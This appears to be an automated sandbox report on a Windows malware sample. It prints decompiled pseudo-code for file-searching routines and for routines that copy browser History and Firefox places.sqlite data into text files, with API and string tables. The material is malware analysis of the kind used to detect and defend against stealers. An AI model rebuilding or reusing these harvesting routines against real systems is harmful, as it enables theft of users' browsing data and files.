				void** _t16;
				void* _t17;
				signed int _t27;
				intOrPtr* _t29;
				void* _t31;
				intOrPtr* _t32;

				_v24 = __ecx;
				 *_t32 = __edx;
				_t31 = __eax & 0xfffff000;
				_v20 = __eax +  *_t32 + 0x00000fff & 0xfffff000;
				 *_v24 = _t31;
				_t15 = _v20 - _t31;
				_v24[1] = _t15;
				_t29 =  *0x41c5d4; // 0x41c5d4
				while(_t29 != 0x41c5d4) {
					_t7 = _t29 + 8; // 0x0
					_t17 =  *_t7;
					_t8 = _t29 + 0xc; // 0x0
					_t27 =  *_t8 + _t17;
					if(_t31 > _t17) {
						_t17 = _t31;
					}
					if(_t27 > _v20) {
						_t27 = _v20;
					}
					if(_t27 > _t17) {
						_t15 = VirtualAlloc(_t17, _t27 - _t17, 0x1000, 4); // executed
						if(_t15 == 0) {
							_t16 = _v24;
							 *_t16 = 0;
							return _t16;
						}
					}
					_t29 =  *_t29;
				}
				return _t15;
			}

0x00401523
0x00401527
0x0040152e
0x00401543
0x0040154b
0x00401551
0x00401557
0x0040155a
0x0040159e
0x00401562
0x00401562
0x00401565
0x00401568
0x0040156c
0x0040156e
0x0040156e
0x00401574
0x00401576
0x00401576
0x0040157c
0x00401589
0x00401590
0x00401592
0x00401598
0x00000000
0x00401598
0x00401590
0x0040159c
0x0040159c
0x004015ad

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00401589

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 87944e6d7ec2424c7827a654054cf40cbadd8ec593a4801b2f8f16170b9bc70d
Instruction ID: d2e5847c23a0d0fb2b7a3dff60909d67c0489ed435542f313e0fa7b23e2e95f5
Opcode Fuzzy Hash: 87944e6d7ec2424c7827a654054cf40cbadd8ec593a4801b2f8f16170b9bc70d
Instruction Fuzzy Hash: 67115E72A44701AFC3109E29CC80A6BBBE2EBC4750F15C539E5996B3A5D734AC408B89

Uniqueness

Uniqueness Score: -1.00%

Function 004015B0, Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E004015B0(void* __eax, void** __ecx, void* __edx) {
				int _t7;
				void* _t9;
				signed int _t14;
				intOrPtr* _t19;
				signed int _t22;
				void** _t23;

				_push(__ecx);
				 *_t23 = __eax + 0x00000fff & 0xfffff000;
				_t22 = __eax + __edx & 0xfffff000;
				 *__ecx =  *_t23;
				_t7 = _t22 -  *_t23;
				__ecx[1] = _t7;
				_t19 =  *0x41c5d4; // 0x41c5d4
				while(_t19 != 0x41c5d4) {
					_t2 = _t19 + 8; // 0x0
					_t9 =  *_t2;
					_t3 = _t19 + 0xc; // 0x0
					_t14 =  *_t3 + _t9;
					if(_t9 <  *_t23) {
						_t9 =  *_t23;
					}
					if(_t22 < _t14) {
						_t14 = _t22;
					}
					if(_t14 > _t9) {
						_t7 = VirtualFree(_t9, _t14 - _t9, 0x4000); // executed
						if(_t7 == 0) {
							 *0x41c5b0 = 2;
						}
					}
					_t19 =  *_t19;
				}
				return _t7;
			}

0x004015b4
0x004015c5
0x004015cc
0x004015d5
0x004015d9
0x004015dc
0x004015df
0x0040161f
0x004015e7
0x004015e7
0x004015ea
0x004015ed
0x004015f2
0x004015f4
0x004015f4
0x004015f9
0x004015fb
0x004015fb
0x004015ff
0x0040160a
0x00401611
0x00401613
0x00401613
0x00401611
0x0040161d
0x0040161d
0x0040162c

APIs

VirtualFree.KERNEL32(00000000,00000000,00004000,?,0000000C,?,-00000008,00003FFB,00401817), ref: 0040160A

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 3bfc56920760e5136ff02f6c94c05418cc55e2be2e85163925a7dedac6e01034
Instruction ID: 104411973d7795ae4b76250d277c099600c8cf09cd5a8da0f47b470ca133b76a
Opcode Fuzzy Hash: 3bfc56920760e5136ff02f6c94c05418cc55e2be2e85163925a7dedac6e01034
Instruction Fuzzy Hash: 82012B726443105FC3109F28DDC0E6A77E5DBC5324F19493EDA85AB391D33B6C0187A8

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00413F58, Relevance: 14.5, APIs: 4, Strings: 4, Instructions: 496
fileCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00413F58(char __eax, int __ebx, void* __ecx, char __edx, void* __edi, signed int __esi, char _a4, char _a8, char _a12, intOrPtr _a16, char _a20) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v53;
				intOrPtr _v56;
				struct _WIN32_FIND_DATAW _v648;
				char _v652;
				char _v656;
				char _v660;
				char _v664;
				char _v668;
				char _v672;
				intOrPtr _v676;
				char _v680;
				char _v684;
				char _v688;
				char _v692;
				char _v696;
				intOrPtr _v700;
				char _v704;
				char _v708;
				char _v712;
				char _v716;
				char _v720;
				char _v724;
				char _v728;
				char _v732;
				char _v736;
				char _v740;
				char _v744;
				intOrPtr _v748;
				char _v752;
				char _v756;
				char _v760;
				char _v764;
				char _v768;
				char _v772;
				char _v776;
				char _v780;
				char _v784;
				char _v788;
				char _v792;
				void* _t239;
				void* _t295;
				intOrPtr* _t299;
				void* _t301;
				int _t312;
				int _t333;
				signed int _t343;
				long _t349;
				int _t354;
				int _t377;
				int _t383;
				void* _t387;
				intOrPtr* _t425;
				intOrPtr _t428;
				intOrPtr* _t456;
				int _t460;
				intOrPtr _t464;
				intOrPtr* _t471;
				intOrPtr _t486;
				intOrPtr _t496;
				intOrPtr _t497;
				intOrPtr _t499;
				void* _t534;
				void* _t556;
				void* _t570;
				void* _t573;
				signed int _t575;
				intOrPtr _t577;
				intOrPtr _t578;
				intOrPtr* _t579;

				_t574 = __esi;
				_t458 = __ebx;
				_t577 = _t578;
				_push(__ecx);
				_t464 = 0x62;
				do {
					_push(0);
					_push(0);
					_t464 = _t464 - 1;
					_t580 = _t464;
				} while (_t464 != 0);
				_t1 =  &_v8;
				 *_t1 = _t464;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v16 =  *_t1;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				E00404150( &_a20);
				_push(_t577);
				_push(0x41475d);
				_push( *[fs:eax]);
				 *[fs:eax] = _t578;
				_v20 = 0;
				E004062FC(_v8,  &_v652, _t580);
				E00403C3C( &_v8, _v652);
				E0040377C( &_v656, _a20);
				E00407A18(0x41477c,  &_v52, _v656, _t580);
				E0040377C( &_v660, _v12);
				E00407A18(0x414788,  &_v44, _v660, _t580);
				_t239 = E00404648(_v44);
				_t581 = _t239;
				if(_t239 == 0) {
					L46:
					_pop(_t486);
					 *[fs:eax] = _t486;
					_push(E00414767);
					E00403BF4( &_v792, 2);
					E00403508( &_v784, 2);
					E00403BDC( &_v776);
					E00403508( &_v772, 2);
					E00403BF4( &_v764, 6);
					E004034E4( &_v740);
					E00403BF4( &_v736, 5);
					E00403508( &_v716, 3);
					E00403BF4( &_v704, 3);
					E004034E4( &_v692);
					E00403BDC( &_v688);
					E004034E4( &_v684);
					E00403BF4( &_v680, 5);
					E00403508( &_v660, 2);
					E00403BDC( &_v652);
					_t496 =  *0x405f50; // 0x405f54
					E00404810( &_v52, _t496);
					E00403BDC( &_v48);
					_t497 =  *0x405f50; // 0x405f54
					E00404810( &_v44, _t497);
					E00403BF4( &_v40, 4);
					_t499 =  *0x413f34; // 0x413f38
					E00404810( &_v24, _t499);
					E00403BF4( &_v16, 3);
					return E00403BDC( &_a20);
				} else {
					_push(E00404648(_v24) + 1);
					E00404804();
					_t579 = _t578 + 4;
					_push(_v24 + E00404648(_v24) * 4 - 4);
					E004078D8(_v8, __ebx,  &_v664, _t581);
					_pop(_t295);
					E00403C18(_t295, _v664);
					while(E00404648(_v24) > 0) {
						_t299 =  *0x41b218; // 0x41cac4
						_t34 = _t299 + 4; // 0x0
						_t301 =  *_t299 - 0x4b000;
						asm("sbb edx, 0x0");
						_t471 =  *0x41b3fc; // 0x41cabc
						_t35 = _t471 + 4; // 0x0
						__eflags =  *_t34 -  *_t35;
						if(__eflags != 0) {
							if(__eflags <= 0) {
								goto L46;
							}
							L8:
							E004078D8( *((intOrPtr*)(_v24 + E00404648(_v24) * 4 - 4)), _t458,  &_v28, __eflags);
							E00403BDC(_v24 + E00404648(_v24) * 4 - 4);
							_t312 = E00404648(_v24) - 1;
							__eflags = _t312;
							_push(_t312);
							E00404804();
							_t579 = _t579 + 4;
							E00403E14( &_v672, 0x414790, _v28, __eflags);
							E004078D8(_v672, _t458,  &_v668, __eflags);
							_t573 = FindFirstFileW(E00403D98(_v668),  &_v648);
							do {
								_push(_v28);
								_push(0x41479c);
								_t474 = 0x104;
								E00403D6C( &_v680, 0x104,  &(_v648.cFileName));
								_push(_v680);
								E00403E78();
								E004078D8(_v676, _t458,  &_v32, __eflags);
								E004077C8(_v32, _t458, 0x104,  &_v36, _t574, __eflags);
								__eflags = (_v648.dwFileAttributes & 0x00000010) - 0x10;
								if((_v648.dwFileAttributes & 0x00000010) == 0x10) {
									L21:
									__eflags = _a8 - 1;
									if(_a8 != 1) {
										L30:
										__eflags = _a12 - 1;
										if(_a12 != 1) {
											goto L43;
										}
										E00403D6C( &_v756, 0x104,  &(_v648.cFileName));
										E00403EC0(_v756, 0x4147c0);
										if(__eflags == 0) {
											goto L43;
										}
										E00403D6C( &_v760, 0x104,  &(_v648.cFileName));
										E00403EC0(_v760, 0x4147cc);
										if(__eflags == 0) {
											goto L43;
										}
										_t343 = _v648.dwFileAttributes;
										__eflags = (_t343 & 0x00000010) - 0x10;
										if((_t343 & 0x00000010) != 0x10) {
											goto L43;
										}
										__eflags = (_t343 & 0x00000400) - 0x400;
										if(__eflags == 0) {
											goto L43;
										}
										E004078D8(_v32, _t458,  &_v764, __eflags);
										_t349 = GetFileAttributesW(E00403D98(_v764));
										__eflags = _t349 - 0xffffffff;
										if(_t349 == 0xffffffff) {
											goto L43;
										}
										_v53 = 0;
										_t458 = E00404648(_v52) - 1;
										__eflags = _t458;
										if(_t458 < 0) {
											L41:
											__eflags = _v53;
											if(_v53 == 0) {
												_t354 = E00404648(_v24) + 1;
												__eflags = _t354;
												_push(_t354);
												E00404804();
												_t579 = _t579 + 4;
												E00403C18(_v24 + E00404648(_v24) * 4 - 4, _v32);
											}
											goto L43;
										}
										_t460 = _t458 + 1;
										_t575 = 0;
										__eflags = 0;
										do {
											E004078D8(_v32, _t460,  &_v776, __eflags);
											E0040377C( &_v772, _v776);
											E0040633C(_v772, _t460,  &_v768, _t573, _t575);
											_push(_v768);
											E00403D88( &_v792,  *((intOrPtr*)(_v52 + _t575 * 4)));
											E004078D8(_v792, _t460,  &_v788, __eflags);
											E0040377C( &_v784, _v788);
											E0040633C(_v784, _t460,  &_v780, _t573, _t575);
											_pop(_t534);
											_t377 = E00403AD4(_v780, _t534);
											__eflags = _t377;
											if(_t377 != 0) {
												_v53 = 1;
											}
											_t575 = _t575 + 1;
											_t460 = _t460 - 1;
											__eflags = _t460;
										} while (__eflags != 0);
										goto L41;
									}
									E0040377C( &_v712, _v36);
									E0040633C(_v712, _t458,  &_v708, _t573, _t574);
									_t383 = E00403AD4(0x4147a8, _v708);
									__eflags = _t383;
									if(_t383 == 0) {
										goto L30;
									}
									E00413D08(_v32, _t458,  &_v40, _t574);
									_t387 = E00406910(_v40);
									__eflags = _t387 - _a16;
									if(_t387 > _a16) {
										goto L30;
									}
									_t458 = E00404648(_v44) - 1;
									__eflags = _t458;
									if(_t458 < 0) {
										goto L30;
									}
									_t458 = _t458 + 1;
									_t574 = 0;
									__eflags = 0;
									while(1) {
										E004077C8(_v40, _t458, _t474,  &_v720, _t574, __eflags);
										E0040377C( &_v716, _v720);
										_t474 = 0;
										__eflags = E00406144(_v716, _t458, 0,  *((intOrPtr*)(_v44 + _t574 * 4)), _t573, _t574);
										if(__eflags != 0) {
											break;
										}
										_t574 = _t574 + 1;
										_t458 = _t458 - 1;
										__eflags = _t458;
										if(__eflags != 0) {
											continue;
										}
										goto L30;
									}
									E004078D8(_v32, _t458,  &_v724, __eflags);
									E00403C3C( &_v32, _v724);
									E004078D8(_v8, _t458,  &_v728, __eflags);
									E00403C3C( &_v8, _v728);
									E004078D8(_v40, _t458,  &_v732, __eflags);
									E00403C3C( &_v40, _v732);
									_push(_v32);
									_push("._.");
									E004077C8(_v40, _t458, 0,  &_v736, _t574, __eflags);
									_push(_v736);
									E00403E78();
									E00403F90( &_v48, E00403DA8(_v8), 1, __eflags);
									_push(_v16);
									_push(0x41479c);
									_push(_v48);
									E00403E78();
									E004078D8(_v748, _t458,  &_v744, __eflags);
									E0040377C( &_v740, _v744);
									_push(_v740);
									E004078D8(_v40, _t458,  &_v752, __eflags);
									_pop(_t556);
									E0040E79C(_v752, _t458, _t556, _t573, _t574);
									_v20 = _v20 + 1;
									__eflags = _a4 - 1;
									if(_a4 == 1) {
										_t425 =  *0x41b3f8; // 0x41b0ac
										 *_t425 =  *_t425 + 1;
									}
									goto L30;
								}
								__eflags = _v648.nFileSizeHigh;
								if(_v648.nFileSizeHigh != 0) {
									goto L21;
								}
								_push(0);
								_push(_v648.nFileSizeLow >> 0xa);
								_t428 = _a16;
								asm("cdq");
								__eflags = 0 - _v56;
								if(__eflags != 0) {
									if(__eflags < 0) {
										goto L21;
									}
									L15:
									_t458 = E00404648(_v44) - 1;
									__eflags = _t458;
									if(_t458 < 0) {
										goto L21;
									}
									_t458 = _t458 + 1;
									_t574 = 0;
									__eflags = 0;
									while(1) {
										E0040377C( &_v684, _v36);
										_t474 = 0;
										__eflags = E00406144(_v684, _t458, 0,  *((intOrPtr*)(_v44 + _t574 * 4)), _t573, _t574);
										if(__eflags != 0) {
											break;
										}
										_t574 = _t574 + 1;
										_t458 = _t458 - 1;
										__eflags = _t458;
										if(_t458 != 0) {
											continue;
										}
										goto L21;
									}
									E004078D8(_v8, _t458,  &_v688, __eflags);
									E00403C3C( &_v8, _v688);
									E004078D8(_v32, _t458,  &_v48, __eflags);
									_t474 = E00403DA8(_v8);
									E00403F90( &_v48, _t443, 1, __eflags);
									_push(_v16);
									_push(0x41479c);
									_push(_v48);
									E00403E78();
									E004078D8(_v700, _t458,  &_v696, __eflags);
									E0040377C( &_v692, _v696);
									_push(_v692);
									E004078D8(_v32, _t458,  &_v704, __eflags);
									_pop(_t570);
									E0040E79C(_v704, _t458, _t570, _t573, _t574);
									_v20 = _v20 + 1;
									__eflags = _a4 - 1;
									if(_a4 == 1) {
										_t456 =  *0x41b3f8; // 0x41b0ac
										 *_t456 =  *_t456 + 1;
									}
									goto L21;
								}
								__eflags = _t428 -  *_t579;
								if(_t428 <  *_t579) {
									goto L21;
								}
								goto L15;
								L43:
								_t333 = FindNextFileW(_t573,  &_v648);
								__eflags = _t333;
							} while (_t333 != 0);
							FindClose(_t573);
							continue;
						}
						__eflags = _t301 -  *_t471;
						if(_t301 >  *_t471) {
							goto L8;
						} else {
							goto L46;
						}
					}
					goto L46;
				}
			}

0x00413f58
0x00413f58
0x00413f59
0x00413f5b
0x00413f5c
0x00413f61
0x00413f61
0x00413f63
0x00413f65
0x00413f65
0x00413f65
0x00413f68
0x00413f68
0x00413f6b
0x00413f6c
0x00413f6d
0x00413f6e
0x00413f71
0x00413f74
0x00413f7a
0x00413f82
0x00413f8a
0x00413f92
0x00413f99
0x00413f9a
0x00413f9f
0x00413fa2
0x00413fa7
0x00413fb3
0x00413fc1
0x00413fcf
0x00413fe2
0x00413ff0
0x00414003
0x0041400b
0x00414010
0x00414012
0x00414629
0x0041462b
0x0041462e
0x00414631
0x00414641
0x00414651
0x0041465c
0x0041466c
0x0041467c
0x00414687
0x00414697
0x004146a7
0x004146b7
0x004146c2
0x004146cd
0x004146d8
0x004146e8
0x004146f8
0x00414703
0x0041470b
0x00414711
0x00414719
0x00414721
0x00414727
0x00414734
0x0041473c
0x00414742
0x0041474f
0x0041475c
0x00414018
0x00414021
0x00414030
0x00414035
0x00414047
0x00414051
0x0041405c
0x0041405d
0x00414619
0x00414067
0x0041406c
0x00414071
0x00414076
0x00414079
0x0041407f
0x0041407f
0x00414082
0x0041408d
0x00000000
0x00000000
0x00414093
0x004140a5
0x004140b9
0x004140c6
0x004140c6
0x004140c7
0x004140d6
0x004140db
0x004140f3
0x00414104
0x0041411a
0x0041411c
0x0041411c
0x0041411f
0x00414130
0x00414135
0x0041413a
0x0041414b
0x00414159
0x00414164
0x00414172
0x00414175
0x004142a9
0x004142a9
0x004142ad
0x00414462
0x00414462
0x00414466
0x00000000
0x00000000
0x0041447d
0x0041448d
0x00414492
0x00000000
0x00000000
0x004144a9
0x004144b9
0x004144be
0x00000000
0x00000000
0x004144c4
0x004144cf
0x004144d2
0x00000000
0x00000000
0x004144dd
0x004144e2
0x00000000
0x00000000
0x004144f1
0x00414502
0x00414507
0x0041450a
0x00000000
0x00000000
0x00414510
0x0041451e
0x0041451f
0x00414521
0x004145c1
0x004145c1
0x004145c5
0x004145cf
0x004145cf
0x004145d0
0x004145df
0x004145e4
0x004145f9
0x004145f9
0x00000000
0x004145c5
0x00414527
0x00414528
0x00414528
0x0041452a
0x00414533
0x00414544
0x00414555
0x00414560
0x0041456d
0x0041457e
0x0041458f
0x004145a0
0x004145ab
0x004145ac
0x004145b1
0x004145b3
0x004145b5
0x004145b5
0x004145b9
0x004145ba
0x004145ba
0x004145ba
0x00000000
0x0041452a
0x004142bc
0x004142cd
0x004142dd
0x004142e2
0x004142e4
0x00000000
0x00000000
0x004142f0
0x004142f8
0x004142fd
0x00414300
0x00000000
0x00000000
0x00414310
0x00414311
0x00414313
0x00000000
0x00000000
0x00414319
0x0041431a
0x0041431a
0x0041431c
0x00414325
0x00414336
0x00414347
0x0041434e
0x00414350
0x00000000
0x00000000
0x0041445a
0x0041445b
0x0041445b
0x0041445c
0x00000000
0x00000000
0x00000000
0x0041445c
0x0041435f
0x0041436d
0x0041437b
0x00414389
0x00414397
0x004143a5
0x004143aa
0x004143ad
0x004143bb
0x004143c0
0x004143ce
0x004143e5
0x004143ea
0x004143ed
0x004143f2
0x00414400
0x00414411
0x00414422
0x0041442d
0x00414437
0x00414442
0x00414443
0x00414448
0x0041444b
0x0041444f
0x00414451
0x00414456
0x00414456
0x00000000
0x0041444f
0x0041417b
0x00414182
0x00000000
0x00000000
0x00414193
0x00414194
0x00414195
0x00414198
0x00414199
0x0041419d
0x004141ae
0x00000000
0x00000000
0x004141b4
0x004141be
0x004141bf
0x004141c1
0x00000000
0x00000000
0x004141c7
0x004141c8
0x004141c8
0x004141ca
0x004141d3
0x004141e4
0x004141eb
0x004141ed
0x00000000
0x00000000
0x004142a1
0x004142a2
0x004142a2
0x004142a3
0x00000000
0x00000000
0x00000000
0x004142a3
0x004141fc
0x0041420a
0x00414215
0x00414222
0x0041422c
0x00414231
0x00414234
0x00414239
0x00414247
0x00414258
0x00414269
0x00414274
0x0041427e
0x00414289
0x0041428a
0x0041428f
0x00414292
0x00414296
0x00414298
0x0041429d
0x0041429d
0x00000000
0x00414296
0x0041419f
0x004141a4
0x00000000
0x00000000
0x00000000
0x004145fe
0x00414606
0x0041460b
0x0041460b
0x00414614
0x00000000
0x00414614
0x00414084
0x00414086
0x00000000
0x00414088
0x00000000
0x00414088
0x00414086
0x00000000
0x00414619

APIs

FindFirstFileW.KERNEL32(00000000,?,?,0041A212), ref: 00414115

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

Strings

.LNK, xrefs: 004142D8
8?A, xrefs: 0041402A, 004140D0, 004145D9, 0041473C
._., xrefs: 004143AD
T_@, xrefs: 0041470B, 00414721

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeString$FileFindFirst
String ID: .LNK$._.$8?A$T_@
API String ID: 1653790112-814392791
Opcode ID: 31d205d8936ed6a38841222a8d26b5fdb0abdb355bc219240a33d41e848b65df
Instruction ID: ccf2d574420f699031c81d78e58b697f7985245bee10ad08c344e755ebce9b4b
Opcode Fuzzy Hash: 31d205d8936ed6a38841222a8d26b5fdb0abdb355bc219240a33d41e848b65df
Instruction Fuzzy Hash: C2223F74A0011E9BDB10EF55C985ADEB7B9EF84308F1081B7E504B7291DB38AF868F59

Uniqueness

Uniqueness Score: -1.00%

Function 00412D6C, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 143
fileCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E00412D6C(char __eax, void* __ebx, char __ecx, char __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				char _v12;
				char _v16;
				void* _v24;
				struct _WIN32_FIND_DATAW _v616;
				char _v620;
				char _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				char _v652;
				char _v656;
				intOrPtr* _t73;
				void* _t110;
				intOrPtr _t127;
				intOrPtr _t132;
				void* _t144;
				void* _t145;
				intOrPtr _t146;

				_t142 = __esi;
				_t141 = __edi;
				_t144 = _t145;
				_t146 = _t145 + 0xfffffd74;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v632 = 0;
				_v636 = 0;
				_v648 = 0;
				_v652 = 0;
				_v656 = 0;
				_v640 = 0;
				_v644 = 0;
				_v624 = 0;
				_v628 = 0;
				_v620 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_push(_t144);
				_push(0x412fd4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t146;
				E00403E14( &_v620, L"\\*.*", _v8, 0);
				_v24 = FindFirstFileW(E00403D98(_v620),  &_v616);
				do {
					_push(_v8);
					_push(0x412ffc);
					E00403D6C( &_v628, 0x104,  &(_v616.cFileName));
					_push(_v628);
					_push(0x412ffc);
					_t73 =  *0x41b180; // 0x41c91c
					_push( *_t73);
					E00403E78();
					if(E0040776C(_v624, 0, 0x104) != 0) {
						_push(_t144);
						_push(0x412f48);
						_push( *[fs:eax]);
						 *[fs:eax] = _t146;
						if(_a4 == 0) {
							_push(_v8);
							_push(0x412ffc);
							E00403D6C( &_v644, 0x104,  &(_v616.cFileName));
							_push(_v644);
							_push(L"\\History");
							E00403E78();
							E00412974(_v640, 0,  &_v636, _t141, _t142);
							E0040377C( &_v632, _v636);
							_push(_v632);
							_push(_v16);
							_push(0x412ffc);
							_push(_v12);
							_push(0x41301c);
							E00403D6C( &_v656, 0x104,  &(_v616.cFileName));
							_push(_v656);
							_push(L".txt");
							E00403E78();
							E0040377C( &_v648, _v652);
							_pop(_t110);
							E0040E6D4(_t110, 0, _v648, _t141, _t142);
						}
						_pop(_t132);
						 *[fs:eax] = _t132;
					}
				} while (FindNextFileW(_v24,  &_v616) != 0);
				FindClose(_v24);
				_pop(_t127);
				 *[fs:eax] = _t127;
				_push(E00412FDB);
				E00403BF4( &_v656, 2);
				E004034E4( &_v648);
				E00403BF4( &_v644, 3);
				E004034E4( &_v632);
				E00403BF4( &_v628, 3);
				return E00403BF4( &_v16, 3);
			}

0x00412d6c
0x00412d6c
0x00412d6d
0x00412d6f
0x00412d75
0x00412d76
0x00412d77
0x00412d7a
0x00412d80
0x00412d86
0x00412d8c
0x00412d92
0x00412d98
0x00412d9e
0x00412da4
0x00412daa
0x00412db0
0x00412db6
0x00412db9
0x00412dbc
0x00412dc2
0x00412dca
0x00412dd2
0x00412dd9
0x00412dda
0x00412ddf
0x00412de2
0x00412dfa
0x00412e10
0x00412e13
0x00412e13
0x00412e16
0x00412e2c
0x00412e31
0x00412e37
0x00412e3c
0x00412e41
0x00412e4e
0x00412e60
0x00412e68
0x00412e69
0x00412e6e
0x00412e71
0x00412e78
0x00412e7e
0x00412e81
0x00412e97
0x00412e9c
0x00412ea2
0x00412eb2
0x00412ec3
0x00412ed4
0x00412edf
0x00412ee0
0x00412ee3
0x00412ee8
0x00412eeb
0x00412f01
0x00412f06
0x00412f0c
0x00412f1c
0x00412f2d
0x00412f38
0x00412f39
0x00412f39
0x00412f40
0x00412f43
0x00412f43
0x00412f62
0x00412f6e
0x00412f75
0x00412f78
0x00412f7b
0x00412f8b
0x00412f96
0x00412fa6
0x00412fb1
0x00412fc1
0x00412fd3

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

FindFirstFileW.KERNEL32(00000000,?,00000000,00412FD4,?,00000000,?,00000000,?,00413361,00000000,00000000,00413B6D,?,00000000,00000024), ref: 00412E0B

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

FindNextFileW.KERNEL32(?,?,0041C91C,00412FFC,?,00412FFC,0041A212,00000000,?,00000000,00412FD4,?,00000000,?,00000000), ref: 00412F5D
FindClose.KERNEL32(?,?,?,0041C91C,00412FFC,?,00412FFC,0041A212,00000000,?,00000000,00412FD4,?,00000000,?,00000000), ref: 00412F6E

Part of subcall function 00412974: GetTickCount.KERNEL32 ref: 004129B8
Part of subcall function 00412974: CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00412C78,?,.tmp,?,?,00000000,00412BB7,?,00000000,00412C41,?,00000000), ref: 00412A34

Strings

.txt, xrefs: 00412F0C
\History, xrefs: 00412EA2
\*.*, xrefs: 00412DF2

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$Find$AllocAttributesCloseCopyCountFirstNextStringTick
String ID: .txt$\*.*$\History
API String ID: 572697310-2232271174
Opcode ID: 2a1da71cf4f321e8de6e9cdad0ec5a278b95c9ebbcb772d71ff5e323f66530a5
Instruction ID: b8b382f9890bf67c4ce716ca2eff32e8703a5b333aba7ace94e6d5da5dd104b6
Opcode Fuzzy Hash: 2a1da71cf4f321e8de6e9cdad0ec5a278b95c9ebbcb772d71ff5e323f66530a5
Instruction Fuzzy Hash: 14514C749042199BCF50EF61CD89ACDBBB8FB48304F5041FAA108B3291DB789F959F14

Uniqueness

Uniqueness Score: -1.00%

Function 00413030, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 141
fileCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00413030(char __eax, void* __ebx, char __ecx, char __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				void* _v24;
				struct _WIN32_FIND_DATAW _v616;
				char _v620;
				char _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				char _v652;
				char _v656;
				intOrPtr* _t72;
				void* _t108;
				intOrPtr _t126;
				intOrPtr _t139;
				void* _t143;
				void* _t144;
				intOrPtr _t145;

				_t141 = __esi;
				_t140 = __edi;
				_t143 = _t144;
				_t145 = _t144 + 0xfffffd74;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v632 = 0;
				_v636 = 0;
				_v648 = 0;
				_v652 = 0;
				_v656 = 0;
				_v640 = 0;
				_v644 = 0;
				_v624 = 0;
				_v628 = 0;
				_v620 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_push(_t143);
				_push(0x41328e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t145;
				E00403E14( &_v620, L"\\*.*", _v8, 0);
				_v24 = FindFirstFileW(E00403D98(_v620),  &_v616);
				do {
					_push(_v8);
					_push(0x4132b8);
					E00403D6C( &_v628, 0x104,  &(_v616.cFileName));
					_push(_v628);
					_push(0x4132b8);
					_t72 =  *0x41b3bc; // 0x41c80c
					_push( *_t72);
					E00403E78();
					if(E0040776C(_v624, 0, 0x104) != 0) {
						_push(_t143);
						_push(0x413202);
						_push( *[fs:eax]);
						 *[fs:eax] = _t145;
						_push(_v8);
						_push(0x4132b8);
						E00403D6C( &_v644, 0x104,  &(_v616.cFileName));
						_push(_v644);
						_push(L"\\places.sqlite");
						E00403E78();
						E0041253C(_v640, 0,  &_v636, _t140, _t141);
						E0040377C( &_v632, _v636);
						_push(_v632);
						_push(_v16);
						_push(0x4132b8);
						_push(_v12);
						_push(0x4132e4);
						E00403D6C( &_v656, 0x104,  &(_v616.cFileName));
						_push(_v656);
						_push(L".txt");
						E00403E78();
						E0040377C( &_v648, _v652);
						_pop(_t108);
						E0040E6D4(_t108, 0, _v648, _t140, _t141);
						_pop(_t139);
						 *[fs:eax] = _t139;
					}
				} while (FindNextFileW(_v24,  &_v616) != 0);
				FindClose(_v24);
				_pop(_t126);
				 *[fs:eax] = _t126;
				_push(E00413295);
				E00403BF4( &_v656, 2);
				E004034E4( &_v648);
				E00403BF4( &_v644, 3);
				E004034E4( &_v632);
				E00403BF4( &_v628, 3);
				return E00403BF4( &_v16, 3);
			}

0x00413030
0x00413030
0x00413031
0x00413033
0x00413039
0x0041303a
0x0041303b
0x0041303e
0x00413044
0x0041304a
0x00413050
0x00413056
0x0041305c
0x00413062
0x00413068
0x0041306e
0x00413074
0x0041307a
0x0041307d
0x00413080
0x00413086
0x0041308e
0x00413096
0x0041309d
0x0041309e
0x004130a3
0x004130a6
0x004130be
0x004130d4
0x004130d7
